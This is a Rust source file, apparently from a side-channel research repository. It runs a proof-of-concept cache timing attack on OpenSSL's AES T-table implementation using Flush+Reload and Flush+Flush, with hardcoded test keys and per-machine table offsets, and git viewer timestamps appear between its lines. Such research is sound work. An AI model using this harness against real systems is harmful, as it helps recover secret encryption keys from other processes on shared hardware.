dendrobates-t-azureus/aes-t-tables/src/main.rs

87 lines
2.9 KiB
Rust
Raw Normal View History

#![feature(unsafe_block_in_unsafe_fn)]
#![deny(unsafe_op_in_unsafe_fn)]
use aes_t_tables::{attack_t_tables_poc, AESTTableParams};
use flush_flush::{FlushAndFlush, SingleFlushAndFlush};
use flush_reload::naive::*;
use nix::sched::sched_setaffinity;
2020-09-22 14:30:08 +02:00
use nix::unistd::Pid;
use std::path::Path;
2020-09-24 17:05:27 +02:00
const KEY2: [u8; 32] = [
0x51, 0x4d, 0xab, 0x12, 0xff, 0xdd, 0xb3, 0x32, 0x52, 0x8f, 0xbb, 0x1d, 0xec, 0x45, 0xce, 0xcc,
0x4f, 0x6e, 0x9c, 0x2a, 0x15, 0x5f, 0x5f, 0x0b, 0x25, 0x77, 0x6b, 0x70, 0xcd, 0xe2, 0xf7, 0x80,
];
2020-09-29 11:10:12 +02:00
// On cyber cobaye
// 00000000001cc480 r Te0
// 00000000001cc080 r Te1
// 00000000001cbc80 r Te2
// 00000000001cb880 r Te3
const TE_CYBER_COBAYE: [isize; 4] = [0x1cc480, 0x1cc080, 0x1cbc80, 0x1cb880];
2020-09-29 11:10:12 +02:00
const TE_CITRON_VERT: [isize; 4] = [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140];
2020-09-29 11:10:12 +02:00
2020-08-04 14:42:17 +02:00
fn main() {
let openssl_path = Path::new(env!("OPENSSL_DIR")).join("lib/libcrypto.so");
2020-09-22 14:30:08 +02:00
let mut side_channel = NaiveFlushAndReload::from_threshold(220);
2020-09-29 11:10:12 +02:00
let te = TE_CITRON_VERT;
for i in 0..4 {
println!("AES attack with Naive F+R, key 0");
unsafe {
attack_t_tables_poc(
&mut side_channel,
AESTTableParams {
num_encryptions: 1 << 12,
key: [0; 32],
te: te, // adjust me (should be in decreasing order)
openssl_path: &openssl_path,
},
)
};
println!("AES attack with Naive F+R, key 1");
unsafe {
attack_t_tables_poc(
&mut side_channel,
AESTTableParams {
num_encryptions: 1 << 12,
key: KEY2,
te: te,
openssl_path: &openssl_path,
},
)
};
println!("AES attack with Multiple F+F (limit = 3), key 0");
{
let (mut side_channel_ff, old, core) = FlushAndFlush::new_any_single_core().unwrap();
unsafe {
attack_t_tables_poc(
&mut side_channel_ff,
AESTTableParams {
num_encryptions: 1 << 12,
key: [0; 32],
te: te, // adjust me (should be in decreasing order)
openssl_path: &openssl_path,
},
)
};
}
println!("AES attack with Single F+F , key 1");
{
let (mut side_channel_ff, old, core) =
SingleFlushAndFlush::new_any_single_core().unwrap();
unsafe {
attack_t_tables_poc(
&mut side_channel_ff,
AESTTableParams {
num_encryptions: 1 << 12,
key: KEY2,
te: te, // adjust me (should be in decreasing order)
openssl_path: &openssl_path,
},
)
}
}
}
2020-08-04 14:42:17 +02:00
}